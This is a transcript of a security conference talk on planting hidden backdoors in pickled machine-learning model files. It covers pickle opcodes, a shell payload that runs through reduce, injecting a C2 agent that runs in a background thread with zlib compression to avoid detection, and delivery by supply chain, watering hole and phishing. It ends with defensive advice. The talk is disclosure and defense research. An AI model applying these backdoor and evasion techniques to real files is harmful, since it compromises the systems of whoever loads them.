 And without any further ado, talking about backdooring pickles. Thank you. So, start off, I work for NVIDIA's AI red team, they let me do this research and are letting me share it, but everything is my own opinion and not an official statement from the company. But yeah, let's talk about backdooring pickles. So, 11 years ago, Mark did a talk at Black Hat called Sour Pickles. And in it, he talks about how to do deserialization attacks against pickles. Not a whole lot has changed from then, since then. Back then, 11 years ago, there was a warning message. It said pickles shouldn't be used from an untrusted source. Makes sense, because it is code. Pickles are code at the end of the day. It's assembly language. And the attacks that he talked about were predominantly deserialization attacks. So this is something along the lines where a web server gives you a cookie, that cookie is a pickle. You can replace it with a pickle you craft in order to get a shell on the web server when they load it. So, yeah, not a whole lot changed, as I mentioned. Pickles still have this warning message. It's a little more verbose, gives you a few more ideas on what you can do. But at the end of the day, it's still, if it's coming from an untrusted source, you shouldn't load it. Because they are still code. That part hasn't changed at all. But what has changed is in 2016, machine learning library started to be released that used pickles as the way that they saved their models. And so this creates something along the lines of a macro in a Word document or in an Office document where you can send it to someone and if they load it, then you get a shell on their system and do whatever you want with it. Yeah. So, I've mentioned models just really quick. What is that? Models are used in artificial intelligence and machine learning. For what I'm talking about, they're a combination of layers and weights that probably has very little meaning to most of you as well. So, what is a layer? A layer is the mathematical equation that lets you give it one input, like an image, and it goes through this equation and gives you a label like cat, dog, chicken, ostrich, whatever it is. And these layers we represent as code in Python specifically for the Python frameworks. The weights are the coefficients for that equation. It's really just the data that's trained. So, when we're training models, this is what we're training. We're training the weights. And that can just be viewed as data. And because it's a combination of a bit of code and a ton of data, it makes sense to store it in pickles as long as you ignore the fact that researchers are going to be distributing it and sharing it as they do research. And this is exactly the opposite of what that warning message said we should do. Just another little note, a lot of the frameworks tend to save a model as multiple pickles in a single file, which if you do anything with it, you can get confusing at first. But, yeah. So, how do you make a malicious pickle? This is just randomly, like, just arbitrarily malicious. It doesn't do anything except for being malicious, sorry. This is an example from a blog from 2011. And what it says is, when you pickle up exploit, this is how I want you to recreate exploit when you do it later. You recreate it by calling subprocess.p open with bnsh. Now, obviously, that's not going to create an exploit class. It will just be an exploit, in this case, to give you a shell on a web server. So, yeah. That's not what we want to do, though, because I wanted to find a way to place a backdoor into a model that still works exactly as it's supposed to and gives you a shell as well. So, this is the simplified version of the attack if all you want is a shell. You don't care about it working still. And it gives us a nice example to talk a little bit more about pickles. So, this output on the screen is thanks to a library built into Python called Pickle Tools. The library's, the module's Pickle Tools, and it's built in. And it has a function called dis for disassemble. And it produces this output. The first box in the output is getting the function pointer to subprocess.p open. Subprocess and p open onto the stack. And then it calls stack global, which takes those two pointers, collapses all down into a single pointer that points to the function. After that, in box two, we mark the beginning of all of our parameters, write them all onto the stack as well, call tuple, which again collapses all down into one pointer. That is all of the parameters. And then the last instruction's really the most important, it's reduce. And that calls the function with the parameters. The two pointers on the stack pops them off, throws them away, and puts onto the stack just the one pointer to the return value. So, now that's understood a little bit more. How do we make a pickle more malicious? There's a really cool tool called fickling. It was released last year in the AI village. And it's made by Trail of Bits. It's really good. It allows you to inject code into the beginning of a pickle or the end of a pickle. And it attempts to detect if there's malice within it. Unfortunately, for me, it's a little more complicated than required. And so it ended up being easier for me to write a solution that only injects in instead of trying to help patch some of the bugs with how it worked. And then the second issue, which would have been easy to fix if that was it, is that it can only inject into the beginning unless you want to replace the output in which case it can only inject into the end. So why do I say it's a little more complicated? So as we've covered, pickles, you can't just load them because you'll get a shell on the system, or you could have somebody doing that. So they use a symbolic interpreter so that it won't, that won't happen. And that works really well. But you have to reimplement everything about pickles in order for that to work. And I kept running into bugs, and ultimately it just became easier to do something else. And when I was trying to patch it, the tool they created is what led me down to all this research in the first place. So I really can't give them enough credit. It's just I found it was easier to use something else, unfortunately. Now why can it only inject into the beginning? As I mentioned before, when you reduce down, so on the top of the slide in the blue box is the code that Fickling adds. In this case, it's exacting print high. Nothing fancy, but it works for the example. So when that all runs, it leaves one pointer on the stack. And in the beginning of a pickle, it doesn't matter because it all collapses down, creates an object, and that object's returned. And you have one value left on the stack that, as the error message on the bottom says, it's not empty, so it's technically wrong. But it doesn't matter because everything works. But if you put that same code anywhere else, it's going to alter the stack in a way where the instructions that follow it don't work correctly because the stack is effectively corrupted for what they're trying to do. And I wanted to be able to just add code arbitrarily into a pickle. So just a few more things about pickles and then we can get to the attack. Pickles are an instruction set, not a file type. So for detection, this starts to matter because pickle doesn't have any magic bytes that you can detect to identify it as a pickle. There's no specific file extension because PyTorch is .pth and not everything is .pkl. It can be anything. NumPy, like npz sometimes has pickles and sometimes it doesn't. And so you don't have just one file you can look at. Also, there's no forking or conditional logic, which makes it so that we can inject in the middle because we don't have to worry about it jumping around. Bite off sets don't matter. You can just add code in and this should be fine. As we've shown, you can import any Python callable. The process isn't imported when we exploited it earlier. Pickle actually imports the sub-process module and gets the function for you. So if it's installed on the system, you can use it. And there's an instruction called pop that takes a value and discards it. So I keep saying that I had a simpler solution. On the right side of the screen are the 50 lines of code that I used to inject into any pickle. And 50 lines of code was easier than writing patches. And so when I wrote this, I had a few requirements. I wanted it to not be obvious to the user or intrusion detection system because I don't want to get caught. I wanted to parse the pickle without loading it, but at the same time I don't want to use a symbol interpreter because I saw how that can get complicated. And I want to inject into an arbitrary location. Mostly that's just to help support the first point, but also because it can. It makes it harder to detect. How do we avoid being obvious to a user and an IDS? Well, we've spent off our own thread, so it hides in the background. We don't want to stall the pickle. We want it to load and everything to work exactly as a user expects. If they're loading up a model and it's supposed to generate a picture of a cat, they need to see a cat, otherwise they're going to get suspicious. So we have our thread running in the background that is running our agent to call back to our C2. Also, size isn't a concern at all. Most models are hundreds of megabytes or more. Like gigs, maybe more than that. So adding one meg or one kilobyte, nobody's going to notice most likely. That's my assumption, if I'm wrong, so be it. But I do use Zlib compression, and that's not to actually make things smaller. It's because Base64 makes a really long string that you're adding into the file, and if you run strings and you see a long string, you might get suspicious. Zlib makes binary data, so it was just a simple solution. And then finally, as long as we don't launch MimiCats or anything that's just like super malicious and obvious and going to get detected, it should be fine. It shouldn't be detected. So how do we load the pickle without using a symbolic interpreter? So the output I showed before, there were some numbers on the left side of the disassembly. Those are the byte offset into the pickle. And because every instruction, there's no jumping, there's nothing like that that we have to worry about, we can make those byte offset chains, make those byte offsets change, and nothing's going to go wrong. It'll still work the same. So long as the stack is exactly as it's supposed to be. So what we do is we pick an arbitrary line from this disassembly, grab the number, write that many bytes into the output file, write our malicious instructions into the output file, and then write the remainder into the output file. And you have a pickle that will run your instructions. So long as you're not... So long as the stack is exactly as it was when your instructions started. Yeah. So how do we avoid leaving a trace in the stack? Well, I only use pickle instructions that alter the stack. If you know anything about pickle instructions, you might be wondering why I don't mention anything else, and that's because I just don't use it. It does exist if you want to know about it. Mark's talk covers everything, and it's really good. But for our examples, we only use the stack, and so that's all I've covered. And because we only use the stack, we just have to clean up. And so at the end, we add a pop instruction, and it pops off whatever... Well, in this case, we're adding a single value to the stack, pops that one value off, and everything's exactly as it was initially. So everything works exactly as it's supposed to. So this is a bit of an example. Here I'm downloading a pickle that I've injected an agent into for the Mythic C2. And I'm loading the pickle, and it takes a second, but I'll get a callback. This callback is running in the background while the GAN is still loading. When the GAN finishes loading, you see a picture of a cat. I can tell it to start running calc, which I did. And when the agent calls back, calc will start, even though I'm able to look at a bunch of different pictures of cats while it's working. Calc pops, and yeah. In a real attack, obviously, you're not going to pop calc because that's obvious, but you have an agent running on their system. You can do whatever you want with it. The hard part about the attack is figuring out how to inject the malicious code into an existing pickle. The way that you go about doing this, it's really up to you, I guess, but there's three ways I see it working out. There's the supply chain attacks. If someone's distributing a bunch of pickles on a website or however, and you can modify them, then you can get a shell on all of their customers, assuming that they don't detect it. There's also watering hole attacks. If a bunch of data scientists have a shared network share, they keep passing pickles or pickled models back and forth between each other, and you have access to that as well. You can modify it, and the next one of them that loads the one that you modified will spawn a shell on their system and you have access. Finally, there's phishing. Instead of targeting a business person, you can send an awesome research paper with a real model that really works, that's actually the research, to a data scientist, and when they go and load it up, you can get a shell on their system as well. And since research is done by a bunch of different countries, not always who are friends, but are often sharing data, that's a bit of a concern. And then after that, you just wait for a callback and do what you want with it. So what can we do about this? Well, antivirus software doesn't work great for detecting this. Pickles aren't like an unfile type. A co-worker of mine wrote a YARA rule, but because it's just a full instruction set, you can do anything you want with it. You can make the code do anything you want completely. You can load any library. So it's essentially detecting an arbitrary Python file, except written in a different form that's binary and harder to read. So the YARA rules that we wrote are pretty easy to bypass if you know what you're doing. Maybe there's a way to make them better. I mean, there's probably ways to make them better, but I still don't think you're ever going to be able to detect every way you can make a pickle malicious. So all you can really do is verify that the integrity of the file is exactly as it was when you created it, but that doesn't help anyone who's getting a file from you unless you have a way to share a hash that's more secure than the way you show the pickle, which maybe you do, and so you can do that, but you sort of run into an issue of how does anyone know that it hasn't been modified? Fickling has a feature for check safety, but as I mentioned, there's a lot of different ways you can make something malicious, and so the last line of their output is don't unpickle this file if it's from an untrusted source because it can still be malicious. The examples I make aren't things they thought of, so it doesn't detect them. So what can you do if you have a pickle that comes from a source you don't 100% trust? My recommendation is that you do not load them. You just shouldn't. If you really want to, there's people on the internet that have examples of how you can create a list of approved functions that will, only those functions can be loaded by the pickle, but at that point you're creating a Python jail, and there's a lot of CTFs where we've seen people breaking out of Python jails and a lot of issues that we've seen in Python jails over the years, so I wouldn't recommend that, but you'll find that option on the internet if you really, really want to try it. Yeah. So what do I recommend? Well, if you're creating something new, then you can release your layers as code. Pickles don't really hide what you created in any way, in any meaningful way. They can all be extracted by anyone who wants to. So you can release your layers, all the code that you write as actual Python code. Whoever is going to iterate off of it will have an easier time doing it, and they won't be vulnerable because they can look at the code and make sure it's not doing something sketchy. And then you release your weights as binary data. If you wanted to do this in PyTorch, on the right-hand side of the screen is some code, which I'm also releasing at the end, and that code will, for PyTorch, save the state of the weights and write it out to a NumPy blob for you and load it, and if you look closely, you see the NPlib, NPYO, like the super deep function inside the NP library that you're not really supposed to call, that's because the default one will fall back to pickles if you have something in it that makes it want to. So it's not really a good function to use, but you can, it exists. And then if, you know, this has been around for six years, so there's a lot of pickles that already exist that are malicious, or well, not malicious, that could be made to be malicious, and it's sort of unrealistic for me to expect them to just delete all of them and start over. Just like that would be the safest solution. So if you have some of those, then you need to protect them like they're unsigned executables, because effectively that's what they are. That means verifying that their integrity is exactly what you expect it to be. If you're offering people the ability to download it, it needs to be over an encrypted channel because otherwise an attacker in the middle can make it whatever they want it and get a shell on their system. And if an adversary gets access and could have modified it and you have no way to verify that they haven't, you sort of just have to delete it all and recreate them, which sort of sucks. So don't let that happen. And some of you that know about machine learning models might be thinking like, okay, I don't use pickles, I use Onyx, or TorchScript, or something else that still supports arbitrary layers. And arbitrary layers are going to be in some way still code. So most likely they're also still vulnerable, and it's just going to take more work to do it because there's not 10 years of research showing you how to just add malicious code into it. For example, Onyx already has a POC thanks to Loboto and they'll, not sure if you can read the link at the bottom, but that's his GitHub where he has a proof of concept on how to add exploitable code into an Onyx file. If you're someone that wants to do this kind of research, Onyx and all the other ways to save models could be something interesting to look at to add malicious code into as well because I'm pretty sure it's possible even though I haven't tried myself. So yeah, if anyone wants to see the injection code, I have it on my GitHub. If anyone uses Mythic C2, I made a wrapper, so all you have to do is upload the pickle you want to inject into. It'll inject a Mythic Medusa agent into it and you can put that where you want and wait for a callback. And yeah, if you have any questions, you can ask, but also hit me up on Twitter and I'll do my best to respond.